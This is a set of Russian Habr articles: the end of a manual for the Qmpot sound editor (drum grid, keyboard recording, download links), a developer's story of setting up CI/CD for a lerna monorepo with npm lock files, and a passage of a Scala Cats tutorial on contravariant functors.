Также в меню выбора стиля игры по кнопке **«Стиль игры (Ctrl+B)»** можно вручную вводить свои стили игры. В том же меню можно загружать/сохранять в QPS (Qmpot Piano Style) файлы со стилем игры и текущим зажатым аккордом на фортепиано.
#### Ввод нот: Шестиструнная гитара
Для перехода к гитаре нажмем внизу на панели кнопку **«Инструмент (Ctrl+G)»**.
Здесь, как и фортепиано, можно бегать курсором по грифу и зажимать струны. Незажатая струна — не участвует в аккорде, поэтому, например, для простого ля-минора Am надо зажать все как обычно, а свободные струны — на нулевом ладу, и тогда по Ctrl+Enter весь аккорд будет скинут в программу:
Здесь тоже можно играть в различных стилях: обычный бой, щипки, переборы.
#### Ввод нот: Сетка барабанов
Для перехода к гитаре нажмем еще раз внизу на панели кнопку **«Инструмент (Ctrl+G)»**.
Классическая сетка, которая используется в Cakewalk, Fruity Loops и много где еще. Только по вертикали не ноты фортепиано, а номера барабанов.
А по горизонтали время в пределах выбранного размера по кнопке **«Размер (Ctrl+E)»**. Например, при выбранном размере 8/4 сетка будет выглядеть как показано на скриншоте вверху — 8 столбцов, разделены в группы по 4 столбца.
Расставьте ноты по барабанам вот так:
Нажмите **«Звук (ENTER)»** (или просто **Enter**) чтобы прослушать ритм в MIDI. Он будет проигран дважды чтобы оценить стыковку ритма с самим собой.
Нажмите **«Добавить (CTRL+ENTER)»** (или просто **Ctrl+Enter**) чтобы скинуть ноты ритма в поле программы. Нажатие на кнопку **«Тест команд (Ctrl+U)»** проиграет на шумовых барабанах ритм из поля программы.
Чтобы использовать в QMP-программе полученные таким способом команды ритма — надо предварительно загрузить в этой QMP-программе аж 9 инструментов (9 различных барабанов).
Поэтому в основном окне Qmpot в меню по кнопке «Команда (Shift+F3)» есть вызов «шумовых барабанов» — барабанов на шумовых сигналах. Достаточно выбрать номер стартового барабана (если 1 — то они займут номера инструментов с 1 по 9, если 20 — то с 20 по 28 и т.д.) и разрядность (8 или 16 бит) и они будут у вас в программе. Вот, например, программа с набранным выше ритмом и шумовыми барабанами:
```
//введите сюда QMP-команды
N 11025,16,1,4S
//барабаны
//bass
LN 1,44100,16,1,0.5,0.001S
ST 1,-66
SF 1,0.001S,0.032S
//acoustic snare
LN 2,44100,16,1,0.5,0.008S
ST 2,-48
SF 2,0.001S,0.128S
//clap
LN 3,44100,16,1,0.5,0.004S
ST 3,-36
SF 3,0.001S,0.032S
//electric snare
LN 4,44100,16,1,0.5,0.008S
ST 4,-40
SF 4,0.001S,0.064S
//closed hi-hat
LN 5,44100,16,1,0.2,0.012S
SF 5,0.001S,0.011S
//open hi-hat
LN 6,44100,16,1,0.3,0.24S
SF 6,0.01S,0.23S
//tomtom
LN 7,44100,16,1,0.5,0.0015S
ST 7,-60
SF 7,0.001S,0.048S
//crash
LN 8,44100,16,1,0.5,0.24S
ST 8,-6
SF 8,0.01S,0.33S
//ride
LN 9,44100,16,1,0.3,0.30S
ST 9,-2
SF 9,0.03S,0.27S
//конец барабанов
P 1,0,0S,0
P 1,0,1S,0
P 2,0,0.5S,0
P 2,0,1.5S,0
P 5,0,0.25S,0
P 5,0,0.75S,0
P 5,0,1.25S,0
P 5,0,1.75S,0
P 6,0,1.75S,0
P 1,0,2S,0
P 1,0,3S,0
P 2,0,2.5S,0
P 2,0,3.5S,0
P 5,0,2.25S,0
P 5,0,2.75S,0
P 5,0,3.25S,0
P 5,0,3.75S,0
P 6,0,3.75S,0
X
```
В меню **«Стиль игры (Ctrl+B)»** можно выбирать различные предустановленные ритмы.
Строка стиля «123456789-(необходимая задержка)D» устанавливается автоматически в зависимости от текущего размера, выбранного по кнопке **«Размер (Ctrl+E)»**.
#### Ввод нот: игра на PC клавиатуре
Когда во «Вводе нот» включены инструменты Фортепиано или Шестиструнная гитара — то на физической клавиатуре компьютера можно играть как на клавиатуре фортепиано.
Основная часть клавиатуры — два ряда клавиш:
**Верхний ряд -WE-TYU-OP-]** — черные клавиши, ноты До#, Ре#, Фа#, Соль#, Ля#, До#, Ре#, Фа#.
**Нижний ряд ASDFGHJKL;'** — белые клавиши, ноты До, Ре, Ми, Фа, Соль, Ля, Си, До, Ре, Ми, Фа.
Эта часть клавиатуры играет ноты, начиная с октавы, в которой в данный момент находится курсор. Т.е. переставляя курсор на виртуальной клавиатуре фортепиано на более высокие по тону октавы можно получить более высокое звучание нот с физической клавиатуры. На грифе эта система также работает — на более высоких по звучанию струнах и на дальних ладах — идет более высокое звучание нот с физической клавиатуры.
Иногда с мелодией удобно играть/записывать басовый аккомпанемент, поэтому:
— ниже «нижнего ряда» есть ряд клавиш **ZXC...<>?** — он играет роль белых клавиш фортепиано, но на октаву ниже основной части клавиатуры.
— аналогично выше «верхнего ряда» есть ряд клавиш **123...)-=** — он играет роль черных клавиш фортепиано, но на октаву ниже основной части клавиатуры.
Поэтому рекомендуется играть на рядах клавиш ASDF… и QWER… мелодию, а на рядах ZXCV… и 1234… басовый аккомпанемент к ней. Например, A — нота До, Z — нота До на октаву ниже.
При текущем инструменте «Фортепиано» все нажимаемые на физической клавиатуре клавиши отображаются на виртуальной клавиатуре в окне «Ввода нот».
#### Ввод нот: запись игры на PC клавиатуре
По кнопке **«Запись (Ctrl+R)»** можно включить/выключить режим записи, тогда все сыгранное будет дописано в виде QMP команд в поле программы. При этом первая нажатая нота получит смещение 0 секунд, остальные ноты будут записываться относительно момента нажатия первой ноты.
Чтобы записываемые смещения и длительности нот были выравнены по времени — используйте квантование:
1) Установите по кнопке **«Темп (Ctrl+T)»** необходимый темп игры, также можете настроить и включить метроном (MIDI или Видео) чтобы послушать темп игры и даже оставить его включенным на время записи (предупреждение: на слабых компьютерах звучание MIDI метронома может сбиваться и лагать, тогда используйте видео-метроном и следите за появляющимися на экране шариками);
2) Нажмите кнопку **«Квант (Ctrl+F)»** и введите, например, 2. Это означает что смещения и длительности нот будут кратны 1/2 от длительности удара темпа. При темпе 120 ударов в минуту 1 удар темпа составляет 0.5 секунды, а 1/2 длительности удара темпа составляет 0.25 секунды, поэтому все смещения и длительности записываемых нот будут кратны значению 0.25 секунды.
**Важно:** современные особенности устройства физических клавиатур не позволяют зажимать большое количество клавиш одновременно. Поэтому будьте готовы смириться с тем, что при игре/записи на физической клавиатуре при нажатии более 2 клавиш одновременно — некоторые нажатия клавиш могут быть пропущены системой игры/записи. Это нормально. Все зависит от вашей клавиатуры, в идеале — просто старайтесь больше 2 клавиш одновременно не нажимать, тогда все будет нормально.
#### Ввод нот: игра и запись игры на барабанах на PC клавиатуре
Когда во «Вводе нот» включен инструмент Барабанная сетка — то на физической клавиатуре компьютера можно играть как на всех 9 барабанах в сетке и записывать эту игру по кнопке **«Запись (Ctrl+R)»**. Клавиши для игры/записи:
**Ряд клавиш ASDFGHJKL** — барабаны от 1 до 9.
### Заключение
В этой статье-мануале достаточно кратко описан звуковой редактор Qmpot. А точнее описаны только программирование и система «Ввод нот».
В системе помощи (по кнопке **F1** в паинткаде или кумпоте) в разделе **«Экстра» — «Звуковой редактор Qmpot»** вы можете найти дополнительную неописанную в статье информацию:
— об основах редактирования звука (что такое частота дискретизации, разрядность, как записывается звук в файлы и т.д.),
— о загрузке инструментов из файлов INS+WAV и просто из WAV сэмплов,
— о создании собственных инструментов,
— о поиске и задании loop-а (цикла, повторяющейся части) в создаваемых вами инструментах,
— об извлечении готовых инструментов из SF2/DLS звуковых банков,
— о применении эффектов в редакторе Qmpot (фильтрация, подавление шумов, реверс звука, перемещение источника звука относительно слушателя с учетом эффекта Допплера и т.д.),
— о записи звука со входов звуковой карты, с веб-камеры и т.д.,
— и многое другое.
В звуковом редакторе Qmpot, используя описанные выше способы, вы можете сочинить мелодии, обработать звуки и даже сделать озвучку для создаваемых вами в паинткаде фильмов и анимаций (AVI файлов).
WAV-озвучку можно прикрепить к AVI-файлу в меню **Утилиты** паинткада. Там же можно извлечь WAV-озвучку из любого AVI-файла:
**Скачать PaintCAD 4Windows с Qmpot внутри**
вы можете по ссылкам (12,6 Мб):
**RAR:** [blackstrip.ru/pcw.rar](http://blackstrip.ru/pcw.rar)
**ZIP:** [blackstrip.ru/pcw.zip](http://blackstrip.ru/pcw.zip)
**SFX-EXE:** [blackstrip.ru/pcw.exe](http://blackstrip.ru/pcw.exe)
Бонусная мелодия для Qmpot для тех, кто дочитал статью до конца: [blackstrip.ru/bonusmusic.txt](http://blackstrip.ru/bonusmusic.txt) (на шумовых барабанах и двух треугольных волнах!). | https://habr.com/ru/post/247679/ | null | ru | null |
# lerna + CI =? Или как не запутаться в трёх соснах
### Вместо предисловия
Доброго времени суток! Меня зовут Сергей, и я тимлид в компании Медпоинт24-Лаб. Я занимаюсь разработкой на nodejs чуть больше полутора лет - до этого был C#, ну а ещё до того, всякое разное и не очень серьёзно. Ну то есть, опыта у меня не так чтобы вагон, и иногда приходится серьёзно поломать голову при решении возникающих проблем. Решив такую, всегда хочется поделиться находками с товарищами по команде.
И вот несколько дней назад, они посоветовали мне завести блог... а я подумал, может тогда просто написать на Хабр?
Возможно, примеры практических ситуаций, из которых со скрипом вылезает толковый, но не очень опытный разработчик, будут интересны таким же толковым и неопытным )) А может и ещё кому пригодится.
Рассказывать постараюсь без погружения в теорию, но со ссылками на оную.
### О чём пойдёт речь?
Пилот будет посвящён интересной проблеме с которой мы столкнулись при попытке организовать CI/CD для монорепозитория с **lerna**. Сразу скажу, что этот пост:
* не про **монорепозитории**. Плюсы и минусы монорепы, как концепции, уже давно описаны в множестве постов, в том числе на [хабре](https://habr.com/ru/post/435306/) (этот довольно холиварный, кстати)
* не про **инструменты** для управления монорепозиториями. Монорепу можно реализовать при помощи [Nx](https://nx.dev/), [rush](https://rushjs.io/), даже просто yarn workspaces. Но так получилось, что мы выбрали lerna и поживём с ней какое то время.
* не про **пакетные менеджеры**. Могу порекомендовать хороший [видос](https://www.youtube.com/watch?v=hq-gIihAs5A) со сравнением npm, yarn и pnpm и офигенную серию [постов](https://habr.com/ru/company/domclick/blog/510812/) в которой работа c npm объясняется с самых азов и очень тщательно. А у нас npm (пока)...
* не про **nestjs**. Но он классный!
Обо всём этом будет рассказано только в том объёме, который нужен для понимания проблематики.
Тогда о чём?
**Дано:**
Имеется маленький монорепозиторий, в котором лежит сервер на несте и npm-пакет, который содержит всё необходимое для клиентского приложения, которое будет этот сервер вызывать.
```
packages
+-- @contract
| +-- src
| +-- package.json
| ...
|
+-- application
| +-- src
| +-- package.json
| ...
|
+-- package.json
+-- lerna.json
...
```
Зачем пакет?Клиентский пакет или, как мы его называем, "контракт" нужен в первую очередь для обеспечения проверки типов в клиентском коде и ускорении разработки.
То есть, вызывающий код делает не просто axios.post(....) передавая туда никак не проверяемые статически параметры (any), а вызывает метод с типизированным входом и выходом.
```
import { Client } from '@contract/some-service';
const client = new Client(options);
const filters: StronglyTypedObject = ...
const data = await client.getSomeData(filters)
/*
* И результат у нас тоже типизированный.
* А ещё из getSomeData() вылетают типизированные ошибки известного формата,
* чем в нас обычно кидается, axios.
*/
```
Наша практика показала, что это очень облегчает и ускоряет разработку для всех, кто использует наш сервис, включая фронтенд. Так что нам подход понравился.
Кроме того, недавно мы пошли чуть дальше и сделали так:
```
const query = new SomeQuery({ ... });
const data = await client.call(query);
/*
* Теперь клиент у нас общий на все сервисы, а вот запросы и команды -
* волшебные и сами знают, что делать. Это мы используем с rabbitMQ.
*/
```
Такой подход мы используем не только для http-сервисов, но и для сервисов, которые обрабатывают сообщения из RabbitMQ, а также при помощи одного из самописных средств транспорта на основе redis. Но усложнять статью этими деталями не будем.
Так вот, у нас есть монорепа, что она нам даёт? В первую очередь, удобство разработки. Базовая фича для всех релевантных инструментов - это то, что в lerna называется **bootstrap**.
```
lerna bootstrap --hoist
```
Флаг `--hoist`- самая приятная часть. Он говорит лерне, что все зависимости, если можно, надо ставить в node\_modules в корне проекта. Мы на этом экономим место + получаем ещё бонус, который нам пригодится дальше.
Помимо установки пакетов `lerna bootstrap` создаёт симлинки на пакеты имеющиеся в репозитории. То есть, хотя в application/package.json указано
```
"dependencies": {
"@contract/core": "^1.0.0"
}
```
в действительности, этот пакет не будет установлен из npm-реестра, а просто прилинкуется в node\_modules из папки packages. Таким образом, мы его меняем, собираем и сразу используем новую версию в нашем приложении.
### Задача
Мы строим систему CI/CD. И нам нужно научиться красиво вписать наш монорепозиторий в конвеер. Казалось бы, задача должна была уже 1000 раз быть решена - настолько она очевидна.
И действительно, есть куча issues на github, посты на Stackoverflow и др. ресурсах. Но нет рецептов.. костыли есть, и то не все рабочие, а нормального "штатного" решения я не нашёл (искал, чесслово).
Так вот, когда наш сервис готов к релизу:
1. Мы хотим смержить PR и, таким образом, запустить пайплайн.
2. Мы хотим собрать проект, прогнать линтер, unit-тесты.
3. Мы хотим поднять версию приложения и пакета (а в чём не было изменений - там не поднимать).
4. Мы хотим опубликовать пакет @contract в npm registry (в нашем случае, приватном).
5. Мы хотим собрать из нашего приложения артефакт, который потом отдать тестировщикам, ну а в конце скопировать на рабочую виртуалку и запустить. (да, да, я знаю - **docker**, но не все сразу. В любом случае, проблемы там будут те же самые)
6. Ну и мы хотим, чтобы наш артефакт был разумного размера и содержал только то, что ему реально нужно для работы. node\_modules по ГБ - не совсем то, что нам нужно.
### Поехали!
Первый пункт берут на себя CI/CD системы.
Со вторым проблем быть не должно:
Для третьего lerna нам предлагает две прекрасные команды: **lerna version** и **lerna publish** (последняя включает в себя первую и мы будем использовать её). Примерно так:
```
lerna publish --conventional-commits --yes
# На заметку: команда publish принимает все флаги команды version.
# В доке это есть, но я с первого раза пропустил.
```
Чуть подробнее про conventional commits.Если делать команду `lerna publish` без указанных ключей, то поднятие версии будет интерактивным,что для CI*-к*онвейра не годится. На помощь приходит спецификация [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/). Соблюдение этого простого и понятного соглашения по структуре commit-сообщений, позволяет lerna автоматически определить, какую как правильно по semver поднять (минор, мажор или патч). Самое милое, что мы можем **вынудить** наших разработчиков писать правильные коммиты (что само по себе хорошо)! Вот достаточно подробная [инструкция](https://dev.to/omarzi/how-to-validate-commit-message-convention-using-commitlint-and-husky-aaa).
С пунктом 4 у нас тоже нет проблем.`lerna publish` нам это уже сделала, а если нас это почему-то не устраивает (ну, к примеру, мы не хотим ставить теги или ещё что), то используем `lerna version` в сочетании с `npm publish` из директории пакета. Забавно, что npm publish не имеет ключа `--registry`, чтобы указать, куда пушить пакет. В случае `lerna publish`, нас выручит **lerna.json** (стр. 7):
```
{
"version": "1.2.2",
"npmClient": "npm",
"command": {
"publish": {
"message": "chore(release): publish",
"registry": ....
}
},
"packages": [
"packages/@contract",
"packages/application"
]
}
```
Иначе нам понадобится файл **.npmrc** (файл с [настройками npm](https://docs.npmjs.com/cli/v6/configuring-npm/npmrc)) в директории пакета.
### Первые сложности
Итак, наша CI-машина должна делать примерно следующее (без привязки к конкретной системе CI/CD):
```
# Pull и checkout
lerna bootsrap --hoist
lerna run build # Запустит команду npm run build в каждом пакете.
lerna publish --conventional-commits --yes
cp packages/application/build /tmp/place/for/artifact
...
```
Но для работы нашему приложению нужны ещё **node\_modules**.
*Попытка №1.* Можно конечно взять да и скопировать папку node\_modules из корня проекта в наш /tmp/place/for/artifact. Но тогда:
* Мы точно получим лишние зависимости (всякие jest, typescript и кучу ещё всего ненужного в рантайме). А если у нас в репозитории не 2 пакета, а 22, то размер node\_modules может быть неприличным.
* Мы, возможно, недополучим нужные зависимости, т. к. lerna поднимает пакеты в корень только **если может**. Так бывает не всегда - могут быть где-то разные версии, например.
Попытка №2. Не вопрос. У нас же есть package.json внутри packages/application. Там ведь перечисленно всё, что надо! Копируем package.json в папку с артефактом, запускаем `npm i` - профит! Но:
Дело в том, что для обеспечения повторяемости билда, в CI среде вместо команды npm install принято использовать `npm ci`. Основное отличие от npm install в том, что пакеты ставятся не из package.json, а из package-lock.json или shrinkwrap.json (смысл тот же). Подробнее о lock-файлах можно почитать в хорошем [переводе от Андрея Мелихова](https://medium.com/devschacht/understanding-lock-files-in-npm-5-4bf615c6cd50).
Для моего рассказа важно понимать следующее:
* Обойтись без lock-файла никак нельзя. Даже если указать в dependencies точные версии зависимостей без всяких "~" и "^" - это не поможет, т. к. транзитивные зависимости (то есть зависимости ваших зависимостей) вы не контролируете.
* lock-файл должен быть **синхронизирован** с package.json. Это значит, что если у нас в package.json появилась новая зависимость (или наоборот), а в package-lock.json её нет, то npm ci будет ругаться:
Приятно, что текст ошибки содержит прямое указание на то, что нам нужно сделать - npm install.
Давайте вспомним, с чего мы начинали нашу сборку: `lerna bootstrap --hoist` Эта команда на самом деле уже создала нам package-lock.json в корне проекта. Однако, это нам мало помогает.
Можете убедиться в этом сами, скопировав в артефакт package.json из packages/application и lock-файл из корня - получите ошибку. Конечно, ведь там никакого намёка не будет на **синхронизацию**! А в application lock-файла у нас нет. Поэтому:
*Попытка №3.* Давайте попробуем обойтись без "всплытия". Да, не супер удобно, зато lock-файл будет там где надо. Делаем просто:
```
lerna bootstrap
```
Это действительно даст нам по lock-файлу на каждый проект. Но и тут всё не слава Богу! Потому что при попытке с этим файлом сделать `npm ci`, нам опять скажут нехорошие слова про синхронизацию. Как так?
Изучаем файл package-lock.json и видим.. что там не хватает пакета [@contract/core!](/users/contract/core!)Ну и правильно, мы его не устанавливали, а делали симлинк...
*Попытка №4.* Ок, делаем просто npm install внутри каждого пакета. Тут нам поможет:
```
lerna exec -- npm i
```
Ура, теперь lock-файл и манифест внутри пакета синхронизированы! `npm ci` работает! Победа!
Запускаем наше приложение и при первом же запросе...
### Оно падает
Говорит, что с модулем [@contract](/users/contract)что-то не то. Конечно не то! Ведь `npm i` поставил этот модуль из npm registry. Ну тогда понятно - это только формально та же версия. А по факту, мы локально могли внести изменения, в том числе и ломающие, но версию ещё не поднимали и пакет не пушили (напоминаю, что build у нас до publish). Если же никаких изменений в пакете не было, то всё сработает.. и это скорее плохо, чем хорошо. Лучше пусть всегда не работает, чем то так, то сяк.
Думали гадали насчёт того, как бы делать `publish` сначала. Но это не логично - код надо собрать, потом протестировать, потом только паблишить - а он, зараза, не собирается.
*Попытка №4.* Ну ок, нам нужен симлинк, давайте его сделаем...
Выполняем:
```
lerna exec -- npm i # Создаётся lock-файлы в пакетах.
lerna link # Создаются симлинки.
lerna run build
lerna publish --conventional-commits ...
cp packages/application/build /path/to/artifact
# Можно ещё вместо копирования сделать production сборку
# - без sourceMaps и деклараций.
cp packages/application/package*.json /path/to/artifact
(cd /path/to/artifact && npm ci --production)
```
И оно даже работает! Только мы кое-что забыли.. Добавим вызов **jest** где-нибудь между 3-й и 4-й строкой...
### И внезапно падают уже тесты
Могут конечно и не упасть... особенно, если их нет. Но приложение может работать некорректно. А точнее, не так, как на машине разработчика, где он делает `lerna bootstrap --hoist` а потом билд.
До этого момента все проблемы были в общем-то тривиальны. Времени много ушло потому, что не было некоторых базовых знаний платформы и инструментов. Сейчас - после нескольких часов проведённых в гугле (хабре, медиуме, гитхабе...) - уже кажется, что всё просто. А вот новая проблема прямо мистическая. И возможно, вы с ней не столкнётесь. Но в чём тут суть, ИМХО понимать полезно.
Итак, `lerna bootstrap --hoist` и `lerna exec -- npm i && lerna link` - в чём может быть разница? Ведь второе - это по сути `lerna bootstrap`, но без `--hoist`. Пробуем на машине разработчика убрать флаг hoist... тесты падают. Добавляем - проходят.
На самом деле, когда первый приступ отупения проходит, можно осознать следующее:
```
packages
+-- @contract
| +-- node_modules
| +-- class-transformer
| +-- src
| +-- package.json
| ...
|
+-- application
| +-- node_modules
| +-- class-transformer
| +-- @contract -> символическая ссылка
| +-- src
| +-- package.json
| ...
|
+-- package.json
+-- lerna.json
...
```
На схеме подсказка. И application и contract зависят от пакета class-transformer. Вообще-то, там есть и другие общие зависимости, но, к счастью, не все зависимости ломаются, когда в структуре node\_modules они присутствуют в двойном экземпляре.
[class-transformer](https://github.com/typestack/class-transformer) - из тех, что ломается.
Подробнее о том, почемуclass-transformer - удобная библиотека для преобразования объектов основанная на декораторах. В nestjs она встроена в дефолтную систему валидации (ValidationPipe). Самый простой пример её использования может быть такой:
```
import { Type } from 'class-transformer';
import { IsInt, IsPositive } from 'class-validator';
export class Query {
@IsInt()
@IsPositive()
@Type(() => Number)
id: number;
}
```
При этом мы это посылаем в GET запросе (?id=100500) и получается, что nest на вход получит строчку, а не число. И валидатор **IsInt()** на это ругнётся (может и нет, но **IsPositive()** ругнётся 100%).
Поэтому мы говорим несту: преобразуй пожалуйста в число. Декоратор @Type() - самый простой способ. Если я не ошибаюсь, то он сделает просто `return Number(id)` Для более сложных случаев можно использовать декоратор @Transform() в который можно передать функцию преобразования.
Всё это вы можете найти в доке по class-validator и class-transformer.
> Но вот только будте осторожны - функция трансформации НИ В КОЕМ СЛУЧАЕ не должна бросить ошибку. Это положит поток (на горьком опыте - потерянные 3 часа жизни)
>
>
**Так вот:**
Что произойдёт в нашем случае. Когда отработает декоратор @Type(), он он запишет в специальный объект в недрах class-transformer метаданные: "у вот этого класса надо преобразовывать входящее значение в число". Потом, когда объект придёт в ваше приложение nest вызовет функцию plainToClass из **той же** самой библиотеки, передав туда данные и конструктор Query. Она из **того же** объекта считает метаданные и проведёт преобразование.
В этом "том же" вся проблема. Если копий библиотеки у нас две, то это может быть два разных объекта и когда plainToClass будет работать, метаданных установленных в декораторе @Type() там не окажется!
> Это экспериментально подтверждённый факт. Но вот почему это так работает, я не до конца понимаю. Всегда считал, что `import` повторно одни и те же сущности не загружает, но видимо всё сложнее.
>
>
> Если кто-то уже достиг дзен - напишите пожалуйста в комментах, кому-то точно пригодится.
>
>
А мы как раз поместили наш класс Query в один пакет, а приложение в другой и если внимательно посмотреть на структуру проекта выше, но становится понятно, что у [@contract](/users/contract)нет никаких шансов найти нужную копию class-transformer.
Забавно, что у class-validator такой проблемы нет. Возможно, они хранят метаданные иначе (в global?). Как именно ещё не успел посмотреть.
Вот собственно ответ и найден. Получается, из-за того, как работает резолв зависимостей в ноде (ищем в node\_modules, потом поднимаемся выше, ищем в node\_modules... и так до рута) в случае симлинков нам очень выгоден **--hoist.** В случае установки из registry, пакетный менеджер сделает примерно (меня пугает это *примерно*...) то же - поднимет всё, что сможет поднять.
Дальше исследовать ситуацию было уже физически невозможно, поэтому было принято решение - переспать...
### Что в итоге?
Чуток устаканив в голове новое понимание (и вопросы), я родил примерно следующее:
* Когда программист начинает работу над репозиторием (только что слонировав его), он действует по плану:
```
lerna bootstrap --hoist # Не npm i в корне! Это сломает ваш lock-file!
lerna run build
jest
# ну и работаем...
```
* В CI делаем то **же самое**, потом `lerna publish`, а затем:
```
# Makefile
# Получаем версию приложения.
BUILD:=build.$(shell jq .version packages/application/package.json | sed 's/"//g')
artifact:
# Скрипт build/prod убирает sourceMap'ы и декларации, которые не нужны в продакшене
(cd packages/application && npm run build:prod -- --outDir ../../deploy/$(BUILD))
cp -r packages/application/package*.json deploy/$(BUILD)
# Ставим только рантайм-зависимости из package-lock.json
(cd deploy/$(BUILD) && npm ci --production)
# Я вырезал кое-какие несущественные подробности, типа удаления package*.json и
# создания tar.gz архива.
rm deploy/$(BUILD)/package*.jsosdf
```
Мы используем **make**, но это не суть. В итоге, это всё планируется перенести в **Dockerfile**, когда наша инфраструктура будет к этому готова.
* Как создать корректные lock-файлы, если их нет?
```
lerna exec -- npm i
lerna clean --yes
# Именно так. Ставим модули, а потом удаляем. Но это единственный способ получить
# lock-файлы
lerna bootstrap -- hoist
```
* Ну и последнее и, пожалуй, самое неприятное. Как установить новый пакет в наш application (или [@contract)](/users/contract))таким образом, чтобы сохранить консистентность lock-файлов:
```
# Makefile
add:
# (ОЧЕНЬ ВАЖНО) Здесь обновится только package.json
lerna add --scope=$(scope) $(package) --no-bootstrap
# Обновится package-lock.json внутри пакета
lerna exec --scope=$(scope) -- npm i
# node_modules внутри units/application нам не нужны!
lerna clean --yes
# вернёт нам все зависимости в корень и обновит рутовый package-lock.json
lerna bootstrap --hoist
# Запускаем так (в scope надо передавать имя пакета из package.json):
$ make add scope=app_name package left-pad
```
Почему так сложно? Потому что команда **lerna add** не обновляет package-lock.json, а только сам манифест. Не понятно почему. Может быть я не нашёл чего-то. Подскажите...
**Выводы:**
* Зависимости в ноде - это сложно.
* Управление зависимостями в монорепозиториях в условиях CI/CD - это ещё сложнее.
* Но самое главное, свет в конце всегда туннеля есть! И пока решаешь такого рода заморочки, частенько удаётся поднять хороший пласт новых знаний.
Уверен, что это не последняя итерация. Меня не покидает ощущение, что всё можно сделать проще, чище - буду рад мнениям и идеям в комментариях.
> Надо ещё поиграться с командой npm shrinkwrap, например...
>
>
Большое спасибо тем, кто дочитал до конца... Если здесь ещё кто-нибудь есть?
Если такой формат "история из практики" интересен, напишите пожалуйста, что "так", что "не так". Потому что историй... их есть у меня.
Спасибо за внимание! | https://habr.com/ru/post/535944/ | null | ru | null |
# Контравариантный функтор в Scala Cats
В этой статье мы поговорим о функторах. О функторах из библиотеки Cats, а не о классических функторах, которые мы все знаем и любим. Рассмотрим контравариантные функторы (Contravariant Functors), представленные в Cats в виде тайпкласса Contravariant.
Некоторые из вас, возможно, не знают, что классический функтор (Functor) с операцией map, который мы ежедневно используем в наших Scala Cats-проектах, на самом деле является ковариантным функтором (Covariant Functor). Также хочу отметить, что термин "Вариантность" (Variance) применительно к функторам не имеет ничего общего с различными видами вариативности, которые мы знаем, когда речь идет о типах и параметрическом полиморфизме.
Типичный функтор в терминах функционального программирования Scala представляет собой тайпкласс, оперирующий типами высших порядков (higher-kinded type), что оказывается весьма полезным, когда мы хотим абстрагироваться и обобщить наши API.
Для полноты картины, поскольку мы не будем говорить классических функторах, давайте посмотрим на простой пример:
```
def reverseStringOption(opt: Option[String]): Option[String] = opt.map(_.reverse)
def reverseStringList(lst: List[String]): List[String] = lst.map(_.reverse)
def reverseStringTry(t: Try[String]): Try[String] = t.map(_.reverse)
//generalized version
def reverse[F[_]](container: F[String])(implicit functor: Functor[F]): F[String] =
functor.map(container)(_.reverse)
```
Обобщенная версия `reverse` не зависит от типа обертки, которую мы хотим использовать, если в области видимости есть экземпляр Functor. В Cats это обычно происходит при импорте, например, Option:
```
import cats.instances.option._
```
Итак, я уверен, что вы все это уже знали. Функторы повсюду, и мы часто их используем. Аппликативы (Applicative) — это функторы, монады (Monad) — это функторы, даже простая функция с одним параметром (Function1) — это тоже функтор. Суть функтора (Functor) в методе `map`, преобразующим обернутое значение типа A в тип B с сохранением обертки.
```
def map[A, B](fa: F[A])(f: A => B): F[B]
```
Но хотите верьте, хотите нет, бывают случаи, когда мы хотим поменять местами типы в функции Functor f, чтобы она принимала тип B и возвращала тип A, но сохранила возвращаемую обертку для типа B — запутались? Если да, то читайте дальше — эта статья как раз для вас :).
Представьте себе простой тайпкласс, преобразующий некоторый тип T в `Boolean`. Определим его как простой трейт Filter:
```
trait Filter[T] {
def filter(value: T): Boolean
}
```
Для работы с нашим тайпклассом создадим очень простой экземпляр и интерфейс:
```
implicit object StringFilter extends Filter[String] {
override def filter(value: String): Boolean = value.length > 5
}
def filter[A](v: A)(implicit flt: Filter[A]) = flt.filter(v)
def main(args: Array[String]): Unit = {
println(filter("hello"))
println(filter("hello world!"))
}
```
Извините, что я не придумал здесь ничего более умного :) — реализация здесь не важна. Конечно, первый `println` выведет `false`, а второй — `true`.
Теперь представьте, что вам нужна функциональность функтора для тайпкласса Filter, чтобы преобразовать его из `Filter[String]` в `Filter[Int]` с помощью метода `map`:
```
val simpleFilterFunctor = new Functor[Filter] {
override def map[A, B](fa: Filter[A])(f: A => B): Filter[B] = new Filter[B] {
override def filter(value: B): Boolean = ??? //fa.filter(f(value))
}
}
```
Видите ли вы проблему, с которой мы здесь столкнулись? Мы не можем передать значение в функцию `f`, поскольку нельзя использовать тип B в качестве входных данных для функции `f`. Здесь нам нужен тип A.
Другими словами, мы хотим получить `A => Boolean` из `B => Boolean`, имея функцию `A => B`.
Как это сделать? Нужно использовать контравариантный функтор вместо ковариантного. В Cats тайпкласс, предназначенный для этого, называется просто `Contravariant`.
```
implicit val simpleFilterContravariant = new Contravariant[Filter] {
override def contramap[A, B](fa: Filter[A])(f: B => A): Filter[B] = new Filter[B] {
override def filter(value: B): Boolean = fa.filter(f(value))
}
}
```
Как вы, вероятно, заметили, тип входного параметра и тип выходного поменялись местами:
```
def map[A, B](initialValue: F[A])(f: A => B): F[B]
def contramap[A, B](fa: F[A])(f: B => A): F[B]
```
Композиция с контравариантным функтором (Contravariant) так же проста, как и с обычным ковариантным:
```
//add companion object apply to easily instantiante filters
object Filter {
def apply[A](implicit instance: Filter[A]): Filter[A] = instance
}
//our existing filter (implicit defined earlier)
val filterString = Filter[String]
//our composed filter
implicit val filterInt: Filter[Int] = Contravariant[Filter].contramap[String, Int](filterString)(_.toString)
def main(args: Array[String]): Unit = {
println(filter(3))
}
```
Аналогично мы можем использовать Contravariant для работы с обернутыми значениями, например, в `Option`. Типичный пример с `Show[_]` из Cats:
```
val showInts = Show[Int]
implicit val showOption: Show[Option[Int]] = Contravariant[Show].contramap(showInts)(_.getOrElse(0))
def main(args: Array[String]): Unit = {
import cats.syntax.show._
val x = Option(234)
x.show
}
```
или более кратко:
```
import cats.syntax.contravariant._
val showInts = Show[Int]
implicit val showOption: Show[Option[Int]] = showInts.contramap(_.getOrElse(0))
```
Таким образом, для фильтров мы можем использовать любые типы, обернутые в Option:
```
implicit def filterOption[T](implicit flt: Filter[T]): Filter[Option[T]] =
simpleFilterContravariant.contramap(flt)(_.get)
def main(args: Array[String]): Unit = {
println(filter(Option("some string")))
}
```
И избавиться от `_.get`:
```
implicit def filterOption[T](implicit flt: Filter[T], m: Monoid[T]): Filter[Option[T]] =
simpleFilterContravariant.contramap(flt)(_.getOrElse(m.empty))
def main(args: Array[String]): Unit = {
import cats.instances.string._
